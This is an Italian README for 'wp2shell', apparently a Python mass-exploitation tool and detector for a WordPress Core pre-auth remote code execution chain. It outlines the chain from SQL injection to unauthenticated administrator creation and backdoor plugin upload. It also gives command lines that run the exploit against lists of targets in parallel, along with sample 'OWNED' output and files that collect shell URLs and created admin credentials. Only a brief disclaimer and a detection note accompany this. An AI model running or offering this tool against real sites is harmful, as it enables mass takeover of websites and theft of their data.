Exploit di massa e rilevatore in Python per la catena RCE pre-auth di WordPress Core CVE-2026-63030 e CVE-2026-60137, che concatena SQL injection fino all'esecuzione di codice remoto.
| Attributo | Dettagli |
|---|---|
| CVE ID | CVE-2026-63030 (+ CVE-2026-60137) |
| Catena | wp2shell — RCE pre-auth |
| Gravità | 🔴 CRITICA (CVSS 9.8) |
| Target | WordPress Core (senza plugin) |
| Affette (RCE) | 6.9.0 – 6.9.4 e 7.0.0 – 7.0.1 |
| Affette (solo SQLi) | 6.8.0 – 6.8.5 |
| Corrette | 6.8.6 / 6.9.5 / 7.0.2 (18/07/2026) |
| Autenticazione richiesta | Nessuna |
Due vulnerabilità concatenate nel core di WordPress:
author__not_in della classe interna WP_Query./wp-json/batch/v1 desincronizza le voci del batch, facendo "cadere" una richiesta nella route successiva.La catena converte la SQLi in RCE pre-autenticazione:
route confusion /wp-json/batch/v1 ─► SQLi nel author__not_in
│ │
└──────────────┬─────────────────────┘
▼
UNION fake-post + oEmbed + changeset poisoning
▼
POST /wp/v2/users (roles: administrator) ← admin creato senza auth
▼
login → upload plugin backdoor → RCE
Fallback: INTO OUTFILE diretto (privilegio FILE) ed estrazione cieca di hash + crack.
python wp2shell.py exploit -l targets.txt --cmd whoami --authorized -k -c 10 --delay 2
python wp2shell.py remote -l targets.txt --authorized --active-probe -c 20 -f csv -o scan.csv
| Opzione | Descrizione |
|---|---|
-l, --targets-file | Un target per riga (ripetibile, senza limite) |
-u, --target | Target singolo |
--cmd | Comando da eseguire sul target |
--authorized | Obbligatorio (oppure WP2SHELL_AUTHORIZED=1) |
-c, --concurrency | Target in parallelo (1–32) |
--delay | SLEEP del timing/estrazione (2 = robusto) |
--rate | Richieste/s per target |
-k, --insecure | Ignora TLS |
--proxy | Proxy HTTP |
--wordlist / --password / --username | Fallback credenziali |
--log / --owned / --results-csv | File di output |
[+] [14:22:31] https://target.com OWNED ✓1 ~0 ✗10
[~] [14:22:32] https://other.com ADMIN ✓1 ~1 ✗10
---- SUMMARY ----
[+] owned=1 [~] admin=1 [-] fail=10 [.] error=0
owned.txt — target con RCE (shell URL)admins.txt — admin creati senza sink di RCE (credenziali)exploit_log.txt — dettaglio per targetresults.csv — riepilogo (exit_code: 0=owned, 4=admin, 2=fail, 3=error)whl_page via SQLi) + slug comuni├── wp2shell.py # exploit + detector
├── targets.txt # target (un URL per riga)
├── owned.txt # RCE ottenuto (auto-creato)
├── admins.txt # admin creati (auto-creato)
└── README.md
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ Only use on systems you own or have explicit permission. ║
║ The author is NOT responsible for any misuse or damage. ║
╚══════════════════════════════════════════════════════════════════╝
/wp-json/batch/v1 e /?rest_route=/batch/v1wp-content/uploads/ e wp-content/plugins/ alla ricerca di PHP sospettofl0ydsec (Floydroot)
Security Research
